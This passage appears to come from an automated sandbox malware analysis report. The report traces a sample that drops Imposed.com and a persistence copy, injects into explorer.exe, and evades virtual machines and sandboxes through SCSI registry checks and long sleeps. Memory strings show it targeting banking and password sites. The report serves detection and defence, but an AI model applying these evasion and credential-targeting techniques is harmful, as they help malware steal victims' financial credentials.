        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0072FC88 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,19_2_0072FC88
        Source: C:\Users\user\AppData\Roaming\chhfaciRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\explorer.exeProcess information set: NOOPENFILEERRORBOX

        Malware Analysis System Evasion

        barindex
        Checks if the current machine is a virtual machine (disk enumeration)
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comKey enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSIJump to behavior
        Found API chain indicative of sandbox detection
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSandbox detection routine: GetForegroundWindow, DecisionNode, Sleepgraph_11-109125
        Switches to a custom stack to bypass stack traces
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comAPI/Special instruction interceptor: Address: 7FFBCB7AE814
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comAPI/Special instruction interceptor: Address: 7FFBCB7AD584
        Source: C:\Windows\SysWOW64\explorer.exeThread delayed: delay time: 600000
        Source: C:\Windows\SysWOW64\explorer.exeThread delayed: delay time: 600000
        Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 438Jump to behavior
        Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 1475Jump to behavior
        Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 727Jump to behavior
        Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 5534Jump to behavior
        Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 447Jump to behavior
        Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 427Jump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\System32\WalletProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\System32\WalletBackgroundServiceProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\SysWOW64\Windows.ApplicationModel.Wallet.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\wow64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_69993b7d6814452d\WalletProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\SysWOW64\WalletProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_a953dd8b163491ed\Windows.ApplicationModel.Wallet.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\System32\Windows.ApplicationModel.Wallet.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_5f44912b33b38332\WalletProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-w..-service.deployment_31bf3856ad364e35_10.0.19041.985_none_b6bad888bc038c2c\WalletService.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\SysWOW64\WalletBackgroundServiceProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_fa16cd4ceba3021a\WalletBackgroundServiceProxy.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-w..t-service.resources_31bf3856ad364e35_10.0.19041.1_en-us_0e357aa451e0d2d7\WalletService.dll.muiJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\wow64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_b3a887dd4a9553e8\Windows.ApplicationModel.Wallet.dllJump to dropped file
        Source: C:\Windows\SysWOW64\explorer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\wow64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_046b779f2003c415\WalletBackgroundServiceProxy.dllJump to dropped file
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comAPI coverage: 4.1 %
        Source: C:\Users\user\AppData\Roaming\chhfaciAPI coverage: 1.2 %
        Source: C:\Windows\explorer.exe TID: 2052Thread sleep count: 438 > 30Jump to behavior
        Source: C:\Windows\explorer.exe TID: 2452Thread sleep count: 1475 > 30Jump to behavior
        Source: C:\Windows\explorer.exe TID: 2452Thread sleep time: -147500s >= -30000sJump to behavior
        Source: C:\Windows\explorer.exe TID: 4916Thread sleep count: 727 > 30Jump to behavior
        Source: C:\Windows\explorer.exe TID: 4916Thread sleep time: -72700s >= -30000sJump to behavior
        Source: C:\Windows\explorer.exe TID: 2452Thread sleep count: 5534 > 30Jump to behavior
        Source: C:\Windows\explorer.exe TID: 2452Thread sleep time: -553400s >= -30000sJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exe TID: 3640Thread sleep time: -30000s >= -30000sJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exe TID: 5644Thread sleep count: 103 > 30
        Source: C:\Windows\SysWOW64\explorer.exe TID: 5644Thread sleep time: -103000s >= -30000s
        Source: C:\Windows\explorer.exe TID: 5832Thread sleep count: 87 > 30
        Source: C:\Windows\explorer.exe TID: 5832Thread sleep time: -87000s >= -30000s
        Source: C:\Windows\SysWOW64\explorer.exe TID: 5216Thread sleep count: 85 > 30
        Source: C:\Windows\SysWOW64\explorer.exe TID: 5216Thread sleep time: -85000s >= -30000s
        Source: C:\Windows\explorer.exe TID: 2548Thread sleep count: 77 > 30
        Source: C:\Windows\explorer.exe TID: 2548Thread sleep time: -77000s >= -30000s
        Source: C:\Windows\SysWOW64\explorer.exe TID: 1032Thread sleep time: -30000s >= -30000s
        Source: C:\Windows\SysWOW64\explorer.exe TID: 5524Thread sleep count: 320 > 30
        Source: C:\Windows\SysWOW64\explorer.exe TID: 5524Thread sleep time: -192000000s >= -30000s
        Source: C:\Windows\SysWOW64\explorer.exe TID: 5524Thread sleep time: -600000s >= -30000s
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Windows\SysWOW64\explorer.exeLast function: Thread delayed
        Source: C:\Windows\SysWOW64\explorer.exeLast function: Thread delayed
        Source: C:\Windows\explorer.exeLast function: Thread delayed
        Source: C:\Windows\explorer.exeLast function: Thread delayed
        Source: C:\Windows\SysWOW64\explorer.exeLast function: Thread delayed
        Source: C:\Windows\SysWOW64\explorer.exeLast function: Thread delayed
        Source: C:\Windows\explorer.exeLast function: Thread delayed
        Source: C:\Windows\explorer.exeLast function: Thread delayed
        Source: C:\Windows\SysWOW64\explorer.exeLast function: Thread delayed
        Source: C:\Windows\SysWOW64\explorer.exeLast function: Thread delayed
        Source: C:\Windows\SysWOW64\explorer.exeFile Volume queried: C:\ FullSizeInformation
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004062D5 FindFirstFileW,FindClose,0_2_004062D5
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00402E18 FindFirstFileW,0_2_00402E18
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00406C9B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009FDB0B FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,11_2_009FDB0B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A0A32C FindFirstFileW,Sleep,FindNextFileW,FindClose,11_2_00A0A32C
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009FE334 GetFileAttributesW,FindFirstFileW,FindClose,11_2_009FE334
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A065AE FindFirstFileW,FindNextFileW,FindClose,11_2_00A065AE
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009CC6C2 FindFirstFileExW,11_2_009CC6C2
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A072A6 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,11_2_00A072A6
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A07205 FindFirstFileW,FindClose,11_2_00A07205
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009FD7CC FindFirstFileW,DeleteFileW,CompareStringW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,11_2_009FD7CC
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A09E43 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,11_2_00A09E43
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A09F9E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,11_2_00A09F9E
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A0A32C FindFirstFileW,Sleep,FindNextFileW,FindClose,14_2_00A0A32C
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009FE334 GetFileAttributesW,FindFirstFileW,FindClose,14_2_009FE334
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A065AE FindFirstFileW,FindNextFileW,FindClose,14_2_00A065AE
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009CC6C2 FindFirstFileExW,14_2_009CC6C2
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A072A6 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,14_2_00A072A6
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A07205 FindFirstFileW,FindClose,14_2_00A07205
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009FD7CC FindFirstFileW,DeleteFileW,CompareStringW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,14_2_009FD7CC
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009FDB0B FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,14_2_009FDB0B
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A09E43 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,14_2_00A09E43
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_00A09F9E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,14_2_00A09F9E
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0077E334 GetFileAttributesW,FindFirstFileW,FindClose,19_2_0077E334
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0078A32C FindFirstFileW,Sleep,FindNextFileW,FindClose,19_2_0078A32C
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007865AE FindFirstFileW,FindNextFileW,FindClose,19_2_007865AE
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0074C6C2 FindFirstFileExW,19_2_0074C6C2
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00787205 FindFirstFileW,FindClose,19_2_00787205
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_007872A6 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,19_2_007872A6
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0077D7CC FindFirstFileW,DeleteFileW,CompareStringW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,19_2_0077D7CC
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_0077DB0B FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,19_2_0077DB0B
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00789E43 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,19_2_00789E43
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00789F9E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,19_2_00789F9E
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,20_2_028E2B15
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,20_2_028E3ED9
        Source: C:\Windows\SysWOW64\explorer.exeCode function: 20_2_028E1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,20_2_028E1D4A
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009929A4 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,11_2_009929A4
        Source: C:\Windows\SysWOW64\explorer.exeThread delayed: delay time: 600000
        Source: C:\Windows\SysWOW64\explorer.exeThread delayed: delay time: 600000
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\390641\Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\390641Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: wu8T4pTb6lB/S4575QEMucJCA6t2SIK8JRkixF4YO6ZIn2ECrfxnkHDBpze1yCdc
        Source: 42FD.tmp.20.drBinary or memory string: ms.portal.azure.comVMware20,11696494690
        Source: explorer.exe, 00000010.00000003.2286528196.0000000009330000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}F
        Source: 42FD.tmp.20.drBinary or memory string: AMC password management pageVMware20,11696494690
        Source: 42FD.tmp.20.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
        Source: explorer.exe, 00000014.00000003.2092573485.0000000002B92000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AMC password management pageVMware20,11696494690r
        Source: 42FD.tmp.20.drBinary or memory string: netportal.hdfcbank.comVMware20,11696494690
        Source: explorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWp
        Source: 42FD.tmp.20.drBinary or memory string: interactivebrokers.comVMware20,11696494690
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /58dkNNZeUbpzKEqNMgIfedN5t07OwVaUYdUvHAi1Vmci+AyDoG5YM9Sp6Avz8GZ
        Source: 42FD.tmp.20.drBinary or memory string: interactivebrokers.co.inVMware20,11696494690d
        Source: chhfaci, 00000013.00000002.2737312859.00000000012CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}c
        Source: 42FD.tmp.20.drBinary or memory string: account.microsoft.com/profileVMware20,11696494690u
        Source: explorer.exe, 00000010.00000000.1791764203.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.2101602972.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000002.2738112009.0000000004E55000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2657918045.0000000004E55000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2354878104.0000000004E55000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
        Source: explorer.exe, 00000010.00000000.1791764203.00000000091FB000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nN4Ob0EdihPikyg9/f2Ijp9YtJyWtm9Pt4bjD4m2I+TQnlE0jQEmu/HiZX58CXfr
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: F7Y4Jb8TGC2Y9elc4Q+PXVFeaNGLOMyeQu+4D4TZJIj9HVFJJRHoqeMUzmixNUIE
        Source: explorer.exe, 00000010.00000000.1791764203.0000000009255000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
        Source: explorer.exe, 00000010.00000000.1791764203.00000000090DA000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en\volume.inf_loc
        Source: chhfaci, 00000013.00000002.2737312859.00000000012CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}="U
        Source: 42FD.tmp.20.drBinary or memory string: tasks.office.comVMware20,11696494690o
        Source: 42FD.tmp.20.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: X0965qmFJYZTMZgkPxQrSMr0mnDTzq3h/B4LcIPnwQnvFDEojVMCisheyqbiKRaU
        Source: explorer.exe, 00000010.00000000.1791764203.0000000009255000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: NXTcaVMWare
        Source: chhfaci, 00000013.00000002.2737312859.000000000134F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>>
        Source: 42FD.tmp.20.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qnJ9IBIqERRPYObzqzCR4E2Pno4vEQK5S3ZmJvdJxxHaOiUt87o3qzu/N3hgfsJy
        Source: 42FD.tmp.20.drBinary or memory string: global block list test formVMware20,11696494690
        Source: 42FD.tmp.20.drBinary or memory string: turbotax.intuit.comVMware20,11696494690t
        Source: 42FD.tmp.20.drBinary or memory string: Canara Transaction PasswordVMware20,11696494690}
        Source: 42FD.tmp.20.drBinary or memory string: bankofamerica.comVMware20,11696494690x
        Source: 42FD.tmp.20.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696494690
        Source: explorer.exe, 0000001A.00000003.2351239122.0000000005561000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: MV5B3gKLZfBeiIIkOrqzjInc/BDc3VmciZVyyZuAhLdyfok7kfwJgNXGoXAflaSi
